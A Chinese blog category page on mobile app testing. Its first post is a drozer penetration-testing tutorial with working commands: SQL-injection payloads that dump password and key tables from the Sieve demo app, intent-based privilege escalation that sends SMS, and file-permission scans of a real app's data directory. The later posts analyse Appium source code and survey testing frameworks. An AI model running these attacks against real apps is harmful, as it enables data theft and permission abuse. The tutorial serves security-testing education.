BlogJava-qileilove-随笔分类-android

利用drozer进行Android渗透测试

顺其自然EVO — Wed, 18 Mar 2015 14:06:00 GMT

　一、安装与启动

　　1. 安装

　　第一步：从http://mwr.to/drozer下载Drozer (Windows Installer)

　　第二步：在Android设备中安装agent.apk

　　adb install agent.apk

　　2. 启动

　　第一步：在PC上使用adb进行端口转发，转发到Drozer使用的端口31415

　　adb forward tcp:31415 tcp:31415

　　第二步：在Android设备上开启Drozer Agent

　　选择embedded server-enable

　　第三步：在PC上开启Drozer console

　　drozer console connect

　　二、测试步骤

　　1.获取包名

　　dz> run app.package.list -f sieve

　　com.mwr.example.sieve

　　2.获取应用的基本信息

　　run app.package.info -a com.mwr.example.sieve

　　3.确定攻击面

　　run app.package.attacksurface com.mwr.example.sieve

　　4.Activity

　　（1）获取activity信息

　　run app.activity.info -a com.mwr.example.sieve

　　（2）启动activity

　　run app.activity.start --component com.mwr.example.sieve

　　dz> help app.activity.start

　　usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

　　[--component PACKAGE COMPONENT] [--data-uri DATA_URI]

　　[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

　　[--mimetype MIMETYPE]

　　5.Content Provider

　　（1）获取Content Provider信息

　　run app.provider.info -a com.mwr.example.sieve

　　（2）Content Providers（数据泄露）

　　先获取所有可以访问的Uri：

　　run scanner.provider.finduris -a com.mwr.example.sieve

　　获取各个Uri的数据：

　　run app.provider.query

　　content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

　　查询到数据说明存在漏洞

　　（3）Content Providers（SQL注入）

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

　　报错则说明存在SQL注入。

　　列出所有表：

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

　　获取某个表（如Key）中的数据：

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

　　（4）同时检测SQL注入和目录遍历

　　run scanner.provider.injection -a com.mwr.example.sieve

　　run scanner.provider.traversal -a com.mwr.example.sieve

　　6 intent组件触发（拒绝服务、权限提升）

　　利用intent对组件的触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用，从而帮助其完成越权行为。

　　1.查看暴露的广播组件信息：

　　run app.broadcast.info -a com.package.name　　获取broadcast receivers信息

　　run app.broadcast.send --component 包名 --action android.intent.action.XXX

　　2.尝试拒绝服务攻击检测，向广播组件发送不完整intent（空action或空extras）：

　　run app.broadcast.send 通过intent发送broadcast receiver

　　(1) 空action

　　run app.broadcast.send --component 包名 ReceiverName

　　(2) 空extras

　　run app.broadcast.send --action android.intent.action.XXX

　　3.尝试权限提升

　　权限提升其实和拒绝服务很类似，只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关，所以基于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具，可以参考IntentFuzzer，其结合了drozer以及hook技术，采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令：

　　（1）获取service详情

　　run app.service.info -a com.mwr.example.sieve

　　不使用drozer启动service

　　am startservice –n 包名/service名

　　（2）权限提升

　　run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

　　7.文件操作

　　列出指定文件路径里全局可写/可读的文件

　　run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

　　run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

　　run app.broadcast.send --component 包名 --action android.intent.action.XXX

　　8.其它模块

　　shell.start 在设备上开启一个交互shell

　　tools.file.upload / tools.file.download 上传/下载文件到设备

　　tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

顺其自然EVO 2015-03-18 22:06 发表评论

Appium Android Bootstrap之控件AndroidElement

顺其自然EVO — Mon, 22 Dec 2014 16:26:00 GMT

AndroidElementHash的这个getElement命令要做的事情就是针对这两点来根据不同情况获得目标控件

/**

* Return an elements child given the key (context id), or uses the selector

* to get the element.

* @param sel

* @param key

* Element id.

* @return {@link AndroidElement}

* @throws ElementNotFoundException

public AndroidElement getElement(final UiSelector sel, final String key)

throws ElementNotFoundException {

AndroidElement baseEl;

baseEl = elements.get(key);

UiObject el;

if (baseEl == null) {

el = new UiObject(sel);

} else {

try {

el = baseEl.getChild(sel);

} catch (final UiObjectNotFoundException e) {

throw new ElementNotFoundException();

}

if (el.exists()) {

return addElement(el);

} else {

throw new ElementNotFoundException();

}

　　如果是第1种情况就直接通过选择子构建UiObject对象，然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表

　　如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件，再通过子控件的选择子在父控件的基础上查找到目标UiObject控件，最后跟上面一样把该控件通过上面的addElement把UiObject控件转换成AndroidElement控件对象保存到控件哈希表

　　4. 求证

　　上面有提过，如果pc端的脚本执行对同一个控件的两次findElement会创建两个不同id的AndroidElement并存放到控件哈希表中，那么为什么appium的团队没有做一个增强，增加一个keyMap的方法（算法）和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个AndroidElement控件呢？毕竟这才是哈希表实用的特性之一了，不然你直接用一个Dictionary不就完事了？网上说了几点hashtable和dictionary的差别，如多线程环境最好使用哈希表而非字典等，但在bootstrap这个控件哈希表的情况下我不是很信服这些说法，有谁清楚的还劳烦指点一二了

　　这里至于为什么appium不去提供额外的key信息并且实现keyMap算法，我个人倒是认为有如下原因：

　　有谁这么无聊在同一个测试方法中对同一个控件查找两次？

　　如果同一个控件运用不同的选择子查找两次的话，因为最终底层的UiObject的成员变量UiSelector mSelector不一样，所以确实可以认为是不同的控件

　　但以下两个如果用同样的UiSelector选择子来查找控件的情况我就解析不了了，毕竟在我看来bootstrap这边应该把它们看成是同一个对象的：

　　同一个脚本不同的方法中分别对同一控件用同样的UiSelelctor选择子进行查找呢？

　　不同脚本中呢？

　　这些也许在今后深入了解中得到解决，但看家如果知道的，还望不吝赐教

　　5. 小结

　　最后我们对bootstrap的控件相关知识点做一个总结

　　AndroidElement的一个实例代表了一个bootstrap的控件

　　AndroidElement控件的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控件，通过它就可以直接透过uiautomator框架对控件进行实质性操作

　　pc端的WebElement元素和Bootstrap的AndroidElement控件是通过AndroidElement控件的String id进行映射关联的

　　AndroidElementHash类维护了一个以AndroidElement的id为键值，以AndroidElement的实例为value的全局唯一哈希表，pc端想要获得一个控件的时候会先从这个哈希表查找，如果没有了再创建新的AndroidElement控件并加入到该哈希表中，所以该哈希表中维护的是一个当前已经使用过的控件

Appium Android Bootstrap源码分析之简介

　通过上一篇文章《Appium Android Bootstrap源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解，那么按照正常的写书的思路，下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好，因为到时整篇文章会变得非常的冗长，因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议：一个方法的代码不要写得太长，不然可读性会很差，尽量把其分解成不同的函数。那我们这里就是用类似的思想，不要尝试在一个文章中把所有的事情都做完，而是尝试先把关键的类给描述清楚，最后才去把这些类通过一个实例分析给串起来呈现给读者，这样大家就不会因为一个文章太长影响可读性而放弃往下学习了。

　　那么我们这里为什么先说bootstrap对控件的处理，而非刚才提到的socket相关的socket服务器的建立呢？我是这样子看待的，大家看到本人这篇文章的时候，很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了，或者已经有uiautomator的相关知识，所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的，那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。

　　这里我们主要会分析两个类：

　　AndroidElement:代表了bootstrap持有的一个ui界面的控件的类，它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的String类型成员变量id

　　AndroidElementsHash:持有了一个包含所有bootstrap（也就是appium）曾经见到过的（也就是脚本代码中findElement方法找到过的）控件的哈希表，它的key就是AndroidElement中的id，每当appium通过findElement找到一个新控件这个id就会＋1，Appium的pc端和bootstrap端都会持有这个控件的id键值，当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件

　　1. AndroidElement和UiObject的组合关系

　　从上面的描述我们可以知道，AndroidElement这个类里面拥有一个UiObject这个变量：

　　public class AndroidElement {

　　private final UiObject el;

　　private String id;

　　...

　　}

　　大家都知道UiObject其实就是UiAutomator里面代表一个控件的类，通过它就能够对控件进行操作（当然最终还是通过UiAutomation框架). AnroidElement就是通过它来跟UiAutomator发生关系的。我们可以看到下面的AndroidElement的点击click方法其实就是很干脆的调用了UiObject的click方法：

　　public boolean click() throws UiObjectNotFoundException {

　　return el.click();

　　}

　　当然这里除了click还有很多控件相关的操作，比如dragTo,getText,longClick等，但无一例外，都是通过UiObject来实现的，这里就不一一列举了。

　　2. 脚本的WebElement和Bootstrap的AndroidElement的映射关系

　　我们在脚本上对控件的认识就是一个WebElement:

　　WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");

　　而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射到一起的呢？我们其实可以先看如下的代码：

　　WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");

　　addNote.getText();

　　addNote.click();

　　做的事情就是获得Notes这个app的菜单，然后调用控件的getText来获得‘Add note'控件的文本信息，以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的：

pc端传过来的json字串有几个fields：

　　cmd:代表这个是什么命令类型，其实就是AndroidCommandType的那两个值

　　package io.appium.android.bootstrap;

　　/**

　　* Enumeration for all the command types.

　　public enum AndroidCommandType {

　　ACTION, SHUTDOWN

　　}

　　action: 具体命令

　　params: 提供的参数，这里提供了一个elementId的键值对

　　从上面的两条调试信息看来，其实没有明显的看到究竟使用的是哪个控件。其实这里不起眼的elementId就是确定用的是哪个控件的，注意这个elementId并不是一个控件在界面上的资源id，它其实是Bootstrap维护的一个保存所有已经获取过的控件的哈希表的键值。如上一小节看到的，每一个AndroidElement都有两个重要的成员变量：

　　UiObject el ：uiautomator框架中代表了一个真实的窗口控件

　　Sting id : 一个唯一的自动增加的字串类型整数，pc端就是通过它来在AndroidElementHash这个类中找到想要的控件的

　　3. AndroidElement控件哈希表

　　上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射起来的，那么我们这一节就来看下维护AndroidElement的这个哈希表是怎么实现的。

　　首先，它拥有两个成员变量：

　　private final Hashtable elements;

　　private Integer counter;

　　elements ：一个以AndroidElement 的id的字串类型为key，以AndroidElement的实例为value的的哈希表

　　counter : 一个整型变量，有两个作用：其一是它代表了当前已经用到的控件的数目（其实也不完全是，你在脚本中对同一个控件调用两次findElement其实会产生两个不同id的AndroidElement控件），其二是它代表了一个新用到的控件的id，而这个id就是上面的elements哈希表的键

　　这个哈希表的键值都是从0开始的，请看它的构造函数：

　　/**

　　* Constructor

　　public AndroidElementsHash() {

　　counter = 0;

　　elements = new Hashtable();

　　}

　　而它在整个Bootstrap中是有且只有一个实例的，且看它的单例模式实现：

　　public static AndroidElementsHash getInstance() {

　　if (AndroidElementsHash.instance == null) {

　　AndroidElementsHash.instance = new AndroidElementsHash();

　　}

　　return AndroidElementsHash.instance;

　　}

　　以下增加一个控件的方法addElement充分描述了为什么说counter是一个自增加的key，且是每个新发现的AndroidElement控件的id：

　　public AndroidElement addElement(final UiObject element) {

　　counter++;

　　final String key = counter.toString();

　　final AndroidElement el = new AndroidElement(key, element);

　　elements.put(key, el);

　　return el;

　　}

　　从Appium发过来的控件查找命令大方向上分两类：

　　1. 直接基于Appium Driver来查找，这种情况下appium发过来的json命令是不包含控件哈希表的键值信息的

　　WebElement addNote = driver.findElement(By.name("Add note"));

　　2. 基于父控件查找：

　　WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));

　　以上的脚本会先尝试找到Note1这个日记的父控件ListView,并把这个控件保存到控件哈希表，然后再根据父控件的哈希表键值以及子控件的选择子找到想要的Note1:

顺其自然EVO 2014-12-23 00:26 发表评论

Appium Android Bootstrap源码分析之命令解析执行

顺其自然EVO — Mon, 22 Dec 2014 16:25:00 GMT

通过上一篇文章《Appium Android Bootstrap源码分析之控件AndroidElement》我们知道了Appium从pc端发送过来的命令如果是控件相关的话，最终目标控件在bootstrap中是以AndroidElement对象的方式呈现出来的，并且该控件对象会在AndroidElementHash维护的控件哈希表中保存起来。但是appium触发一个命令除了需要提供是否与控件相关这个信息外，还需要其他的一些信息，比如，这个是什么命令？这个就是我们这篇文章需要讨论的话题了。

　　下面我们还是先看一下从pc端发过来的json的格式是怎么样的：

　　可以看到里面除了params指定的是哪一个控件之外，还指定了另外两个信息：

　　cmd: 这是一个action还是一个shutdown

　　action：如果是一个action的话，那么是什么action

　　开始前我们先简要描述下我们需要涉及到几个关键类：

1. Appium命令解析器AndroidCommand

　　AndroidCommand这个类真实的作用其实就是去把Appium从pc端发送过来的那串json命令解析出来，它拥有两个成员变量：

　　JSONObject json;

　　AndroidCommandType cmdType;

　　json就是pc过来的json格式的那串命令，cmdType就是action或者shutdown，其实就是用来把这个类伪装成更像个命令类而已，我认为如果不提供这个成员变量而直接修改其getType的实现去解析json字串直接获得对应的AndroidCommandType，然后把这个类的名字改成AndroidCommandParser得了。

　　那么我们往下看下AndroidCommand究竟是怎么对客户端命令进行解析的，它的方法都很短，所以我把它做成一个表，这样比较清晰点：

　　从表中的这些方法可以看出来，这个类所做的事情基本上都是怎么去解析appium从pc端过来的那串json字串。

　　2. Action与CommandHandler的映射关系

　　从上面描述可以知道，一个action就是一个代表该命令的字串，比如‘click’。但是一个字串是不能去执行的啊，所以我们需要有一种方式把它转换成可以执行的代码，这个就是AndroidCommandExecutor维护的一个静态HashMap map所做的事情：

class AndroidCommandExecutor {

private static HashMap map = new HashMap();

static {

map.put("waitForIdle", new WaitForIdle());

map.put("clear", new Clear());

map.put("orientation", new Orientation());

map.put("swipe", new Swipe());

map.put("flick", new Flick());

map.put("drag", new Drag());

map.put("pinch", new Pinch());

map.put("click", new Click());

map.put("touchLongClick", new TouchLongClick());

map.put("touchDown", new TouchDown());

map.put("touchUp", new TouchUp());

map.put("touchMove", new TouchMove());

map.put("getText", new GetText());

map.put("setText", new SetText());

map.put("getName", new GetName());

map.put("getAttribute", new GetAttribute());

map.put("getDeviceSize", new GetDeviceSize());

map.put("scrollTo", new ScrollTo());

map.put("find", new Find());

map.put("getLocation", new GetLocation());

map.put("getSize", new GetSize());

map.put("wake", new Wake());

map.put("pressBack", new PressBack());

map.put("pressKeyCode", new PressKeyCode());

map.put("longPressKeyCode", new LongPressKeyCode());

map.put("takeScreenshot", new TakeScreenshot());

map.put("updateStrings", new UpdateStrings());

map.put("getDataDir", new GetDataDir());

map.put("performMultiPointerGesture", new MultiPointerGesture());

map.put("openNotification", new OpenNotification());

map.put("source", new Source());

map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());

}

　　这个map指定了我们支持的pc端过来的所有action，以及对应的处理该action的类的实例，其实这些类都是CommandHandler的子类基本上就只有一个：去实现CommandHandler的虚拟方法execute！要做的事情就大概就这几类：

　　UiDevice相关的action：调用UiDevice提供的方法

　　UiAutomator那5个对象都没有的action：该调用InteractionController的就反射调用，该调用QueryController的就反射调用。注意这两个类UiAutomator是没有提供直接调用的方法的，所以只能通过反射。更多这两个类的信息请翻看之前的UiAutomator源码分析相关的文章

　　其他：如取得compressedLayoutHierarchy

　　指导action向CommandHandler真正发生转换的地方是在这个AndroidCommandExecutor的execute方法中：

public AndroidCommandResult execute(final AndroidCommand command) {

try {

Logger.debug("Got command action: " + command.action());

if (map.containsKey(command.action())) {

return map.get(command.action()).execute(command);

} else {

return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,

"Unknown command: " + command.action());

}

} catch (final JSONException e) {

Logger.error("Could not decode action/params of command");

return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,

"Could not decode action/params of command, please check format!");

}

　　它首先叫上面的AndroidCommand解析器把json字串的action给解析出来

　　然后通过刚提到的map把这个action对应的CommandHandler的实现类给实例化

　　然后调用这个命令处理类的execute方法开始执行命令

　　3. 命令处理示例

　　我们这里就示例性的看下getText这个action对应的CommandHandler是怎么去通过AndroidElement控件进行设置文本的处理的：

public class GetText extends CommandHandler {

* @param command The {@link AndroidCommand} used for this handler.

* @return {@link AndroidCommandResult}

* @throws JSONException

* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.

* bootstrap.AndroidCommand)

@Override

public AndroidCommandResult execute(final AndroidCommand command)

throws JSONException {

if (command.isElementCommand()) {

// Only makes sense on an element

try {

final AndroidElement el = command.getElement();

return getSuccessResult(el.getText());

} catch (final UiObjectNotFoundException e) {

return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,

e.getMessage());

} catch (final Exception e) { // handle NullPointerException

return getErrorResult("Unknown error");

}

} else {

return getErrorResult("Unable to get text without an element.");

}

　　关键代码就是里面通过AndroidCommand的getElement方法：

　　解析传进来的AndroidCommand实例保存的pc端过来的json字串，找到’params‘项的子项’elementId'

　　通过这个获得的id去控件哈希表（请查看《Appium Android Bootstrap源码分析之控件AndroidElement》）中找到目标AndroidElement控件对象

　　然后调用获得的AndroidElement控件对象的getText方法：

　　最终通过调用AndroidElement控件成员UiObject控件对象的getText方法取得控件文本信息

　　4. 小结

　　bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项：

　　cmd: 这是一个action还是一个shutdown

　　action：如果是一个action的话，那么是什么action，比如click

　　params:拥有其他的一些子项，比如指定操作控件在AndroidElementHash维护的控件哈希表的控件键值的'elementId'

　　在收到这个json格式命令字串后：

　　AndroidCommandExecutor会调用AndroidCommand去解析出对应的action

　　然后把action去map到对应的真实命令处理方法CommandHandler的实现子类对象中

　　然后调用对应的对象的execute方法来执行命令

Appium Android Bootstrap源码分析之简介

Appium Android Bootstrap之控件AndroidElement

顺其自然EVO 2014-12-23 00:25 发表评论

Fliptest—iOS 的应用A/B测试框架

顺其自然EVO — Mon, 22 Dec 2014 16:22:00 GMT

　FlipTest是专为iOS设计的移动应用A/B测试框架，通过它，开发者可以无需重新向App Store提交应用或重构代码，只需添加一行代码，即可直接在iOS应用上进行A/B测试。对移动应用做 A/B 测试是非常难的，而 FlipTest 可以帮你简化这个过程。

　　对于想要追求UI极致的开发者而言，FlipTest绝对是最合适的测试框架。FlipTest会为应用选择最恰当的用户界面，还会基于外观、可用性等众多因素返还测试结果，从而帮助开发者彻底解决UI问题。

顺其自然EVO 2014-12-23 00:22 发表评论

iOS功能测试工具 Frank

顺其自然EVO — Mon, 22 Dec 2014 16:22:00 GMT

　　Frank也是一款深受开发者喜爱的iOS应用测试框架，该框架可以模拟用户操作对应用程序进行黑盒测试，并使用Cucumber作为自然语言来编写测试用例。此外，Frank还会对应用测试操作进行记录，以帮助开发者进行测试回顾。

　　一、基本介绍

　　Frank是ios开发环境下一款实现自动测试的工具。

　　Xcode环境下开发完成后，通过Frank实现结构化的测试用例，其底层语言为Ruby。作为一款开源的iOS测试工具，在国外已经有广泛的应用。但是国内相关资料却比较少。其最大的优点是允许我们用熟悉的自然语言实现实际的操作逻辑。

　　一般而言，测试文件由一个.feature文件和一个.rb文件组成。.feature文件包含的是测试操作的自然语言描述部分，内部可以包含多个测试用例，以标签（@tagname）的形式唯一标识，每个用例的首行必须有Scenario: some description；.rb文件则是ruby实现逻辑，通过正则表达式匹配.feature文件中的每一句自然语言，然后执行相应的逻辑操作，最终实现自动测试的目的。

　　二、安装

　　1. Terminal 输入sudo gem install frank-cucumber,下载并安装Frank

　　2. Terminal 进入工程所在路径，工程根目录

　　3. 输入：frank-skeleton，会在工程根目录新建Frank文件夹

　　4. 返回Xcode界面，右键Targets下的APP，选择复制，Duplicate only

　　5. 双击APPname copy，更改副本名，例如 Appname Frankified

　　6. 右击APP，Add Files to Appname……

　　7. 勾选副本，其余取消选定。选择新建的Frank文件夹，Add.

　　8. 选择APP，中间部分Build Phases选项卡，Link Binary With LibrariesàCFNetwork.framework，Add.

　　9. 依旧中间部分，选择Build Settings选项卡，Other Linker Flags，双击，添加“-all_load”和“ObjC”

　　10. 左上角，Scheme Selector，在RUN和STOP按钮的右边，选择Appname copy-IPHONE

　　11. 浏览器中打开http://localhost:37265，可以在浏览器中看到植入Frank的应用

　　我在添加了两个flag之后老是报错，尝试了N种方法之后索性全部删掉，结果就可以了，无语

　　三、基本步骤

　　1. terminal 切换到Frank文件夹所在目录

　　2. frank launch, 打开simulator，开始运行(默认是用IPHONE simulator,要用IPAD simulator时，需要如下命令行，添加参数：frank launch --idiom ipad)

　　3. cucumber Frank/features/my_first.feature --tags @tagname （注意tags前面两个‘-’）PS:如果没有tag则自动运行文件中所有case

顺其自然EVO 2014-12-23 00:22 发表评论

移动应用测试框架—AppGrader（Android）

顺其自然EVO — Mon, 22 Dec 2014 16:20:00 GMT

　　AppGrader是来自以色列的应用测试服务商uTest推出的一款测试产品。相比其他主流移动应用测试框架，AppGrader可能并不太为开发者所熟知，但它却能够为众多的Android开发者提供非常专业的意见参考。

　　通过AppGrader，开发者可以将自己所开发的应用与其他同类应用就图形、功能及其他方面进行比较，从而对应用进行改善。据悉，继AppGrader for Android之后，uTest还将推出AppGrader for iOS。

顺其自然EVO 2014-12-23 00:20 发表评论

移动应用测试框架—Cedar（iOS）

顺其自然EVO — Mon, 22 Dec 2014 16:19:00 GMT

　和Kiwi一样，Cedar也是一款BDD风格的Objective-C测试框架。它不仅适用于iOS和OS X代码库，而且在其他环境下也可以使用。

　　Kiwi、Specta、Expecta以及Cedar都可以通过CocoaPods添加到你的项目中。

顺其自然EVO 2014-12-23 00:19 发表评论

iOS应用功能测试框架 KIF概述

顺其自然EVO — Mon, 22 Dec 2014 16:17:00 GMT

　　KIF的全称是Keep It Functional，来自Square，是一款专为iOS设计的移动应用测试框架。由于KIF是使用Objective-C语言编写的，因此，对于iOS开发者而言，用起来要更得心应手，可以称得上是一款非常值得收藏的iOS测试利器。

　　KIF最酷的地方是它是一个开源的项目，且有许多新功能还在不断开发中。例如下一个版本将会提供截屏的功能并且能够保存下来。这意味着当你跑完测试之后，可以在你空闲时通过截图来查看整个过程中的关键点。难道这不是比鼠标移动上去并用肉眼观察KIF点击和拖动整个过程好上千倍万倍么？KIF变得越来越好了，所以学习如何使用它，对于自己来说是一个很好的投资。

　　由于KIF测试用例是继承了OCUnit，并使用了标准的Xcode5测试框架，你可以使用持续集成来跑这个测试。当你在忙着别的事情的时候，就拥有了一个能够像人的手指一样准点触控的机器人去测试你的应用程序。太棒了！

顺其自然EVO 2014-12-23 00:17 发表评论

Android单元测试框架 Robolectric

顺其自然EVO — Mon, 22 Dec 2014 16:08:00 GMT

　Android开发者们注意了，这款测试框架一定会让你们兴奋不已，因为它是一款已基本上摆脱了模拟器测试的老套路的速率单元测试框架。Robolectric可以解压Android SDK，还能直接对应用进行测试，从而帮你轻而易举地解决所遇到的任何问题。

　　Robolectric 是一款Android单元测试框架，示例代码：

@RunWith(RobolectricTestRunner.class)

public class MyActivityTest {

@Test

public void clickingButton_shouldChangeResultsViewText() throws Exception {

Activity activity = Robolectric.buildActivity(MyActivity.class).create().get();

Button pressMeButton = (Button) activity.findViewById(R.id.press_me_button);

TextView results = (TextView) activity.findViewById(R.id.results_text_view);

pressMeButton.performClick();

String resultsText = results.getText().toString();

assertThat(resultsText, equalTo("Testing Android Rocks!"));

}

顺其自然EVO 2014-12-23 00:08 发表评论

如何设计Android App测试用例

顺其自然EVO — Mon, 22 Dec 2014 15:23:00 GMT

　在当今竞争激烈的市场上一个APP的成功离不开一个可靠的用户界面（UI）。因此，对功能和用户体验有一些特殊关注和照顾的UI的全面测试是必不可少的。当涉及到安卓平台及其提出的独特问题的数量（安卓就UI提出显著挑战）时，挑战变得更加复杂。关键字“碎片化”象征着移动应用全面测试的最大障碍，还表明了发布到市场上的所有形态、大小、配置类型的安卓设备所引起的困难。本文将介绍安卓模拟器如何能通过使用一些技巧和简单的实践提供覆盖大量设备类型的广泛测试。

　　简介—分散装置里的测试

　　一般安卓开发者在其日常工作中面临的最大挑战之一是：终端设备和操作系统版本的范围太广。OpenSignal进行的一项研究表明，2013年7月市场上有超过11，828的不同安卓终端设备，所有设备在类型/大小/屏幕分辨率以及特定配置方面有所不同。考虑到前一年的调查仅记录有3，997款不同设备，这实在是一个越来越大的挑战障碍。

　图1.11，828 款安卓设备类型（ OpenSignal研究， 2013年7月[ 1 ] ）分布

　　从一个移动APP开发角度出发，定义终端设备有四个基本特征：

　　1．操作系统：由“API指标”（ 1 ?18 ）专业定义的安卓操作系统版本（ 1.1? 4.3 ），。

　　2．显示器：屏幕主要是由屏幕分辨率（以像素为单位），屏幕像素密度（以DPI为单位），和/或屏幕尺寸（以英寸为单位）定义的。

　　3．CPU：该“应用程序二进制接口” （ABI ）定义CPU的指令集。这里的主要区别是ARM和基于Intel的CPU。

　　4．内存：一个设备包括内存储器（ RAM）和Dalvik 虚拟存储器（ VM堆）的预定义的堆内存。

　　这是前两个特点，操作系统和显示器，都需要特别注意，因为他们是直接由最终用户明显感受，且应该不断严格地被测试覆盖。至于安卓的版本， 2013年7月市场上有八个同时运行导致不可避免的碎片的不同版本。七月，近90％这些设备中的34.1 ％正在运行Gingerbread版本（ 2.3.3-2.3.7 ），32.3 ％正在运行Jelly Bean（ 4.1.x版），23.3 ％正在运行Ice Cream Sandwich（ 4.0.3 - 4.0.4 ）。

图2.16款安卓版本分布（OpenSignal研究，2013年7月[1]）

　　考虑设备显示器，一项TechCrunch从2013年4月进行的研究显示，绝大多数（79.9％）有效设备正在使用尺寸为3和4.5英寸的“正常”屏幕。这些设备的屏幕密度在“MDPI”（160 DPI），“hdpi”（240 DPI）和“xhdpi”（320 DPI）之间变化。也有例外，一种只占9.5％的设备屏幕密度低“hdpi”（120 DPI）且屏幕小。

图3. 常见的屏幕尺寸和密度的分布（谷歌研究，2013年4月）[2]

　　如果这种多样性在质量保证过程中被忽略了，那么绝对可以预见：bugs会潜入应用程序，然后是bug报告的风暴，最后Google Play Store中出现负面用户评论。因此，目前的问题是：你怎么使用合理水平的测试工作切实解决这一挑战？定义测试用例及一个伴随测试过程是一个应付这一挑战的有效武器。

　　用例—“在哪测试”、“测试什么”、“怎么测试”、“何时测试”？

　　“在哪测试”

　　为了节省你测试工作上所花的昂贵时间，我们建议首先要减少之前所提到的32个安卓版本组合及代表市场上在用的领先设备屏的5-10个版本的显示屏。选择参考设备时，你应该确保覆盖了足够广范围的版本和屏幕类型。作为参考，您可以使用OpenSignal的调查或使用手机检测的信息图[3]，来帮助选择使用最广的设备。

　　为了满足好奇心，可以从安卓文件[5]将屏幕的尺寸和分辨率映射到上面数据的密度（“ldpi”，“mdpi”等）及分辨率（“小的”，“标准的”，等等）上。

图4.多样性及分布很高的安卓终端设备的六个例子（手机检测研究，2013年2月）[3]

　　有了2013手机检测研究的帮助，很容易就找到了代表性的一系列设备。有一件有趣的琐事：30％印度安卓用户的设备分辨率很低只有240×320像素，如上面列表中看到的，三星Galaxy Y S5360也在其中。另外，480×800分辨率像素现在最常用（上表中三星Galaxy S II中可见）。

　　“测试什么”

　　移动APP必须提供最佳用户体验，以及在不同尺寸和分辨率（关键字“响应式设计”）的各种智能手机和平板电脑上被正确显示（UI测试）。与此同时，apps必须是功能性的和兼容的（兼容性测试），有尽可能多的设备规格（内存，CPU，传感器等）。加上先前获得的“直接”碎片化问题（关于安卓的版本和屏幕的特性）， “环境相关的”碎片化有着举足轻重的作用。这种作用涉及到多种不同的情况或环境，其中用户正在自己的环境中使用的终端设备。作为一个例子，如果网络连接不稳定，来电中断，屏幕锁定等情况出现，你应该慎重考虑压力测试[4]和探索性测试以确保完美无错。

图5. 测试安卓设备的各个方面

　　有必要提前准备覆盖app最常用功能的所有可能的测试场景。早期bug检测和源代码中的简单修改，只能通过不断的测试才能实现。

　　“怎么测试”

　　将这种广泛的多样性考虑在内的一种务实方法是，安卓模拟器 - 提供了一个可调节的工具，该工具几乎可以模仿标准PC上安卓的终端用户设备。简而言之，安卓模拟器是QA流程中用各种设备配置（兼容性测试）进行连续回归测试（用户界面，单元和集成测试）的理想工具。探索性测试中，模拟器可以被配置到一个范围广泛的不同场景中。例如，模拟器可以用一种能模拟连接速度或质量中变化的方式来设定。然而，真实设备上的QA是不可缺少的。实践中，用作参考的虚拟设备依然可以在一些小的（但对于某些应用程序来说非常重要）方面有所不同，比如安卓操作系统中没有提供程序特定的调整或不支持耳机和蓝牙。真实硬件上的性能在评价过程中发挥了自身的显著作用，它还应该在考虑了触摸硬件支持和设备物理形式等方面的所有可能终端设备上进行测试（可用性测试）。

　　“何时测试”

　　既然我们已经定义了在哪里（参考设备）测试，测试什么（测试场景），以及如何（安卓模拟器和真实设备）测试，简述一个过程并确定何时执行哪一个测试场景就至关重要了。因此，我们建议下面的两级流程：

　　1 ．用虚拟设备进行的回归测试。

　　这包括虚拟参考设备上用来在早期识别出基本错误的连续自动化回归测试。这里的理念是快速地、成本高效地识别bugs。

　　2 ．用真实设备进行的验收测试。

　　这涉及到：“策划推广”期间将之发布到Google Play Store前在真实设备上的密集测试（主要是手动测试），（例如，Google Play[ 5 ]中的 alpha和beta测试组）。

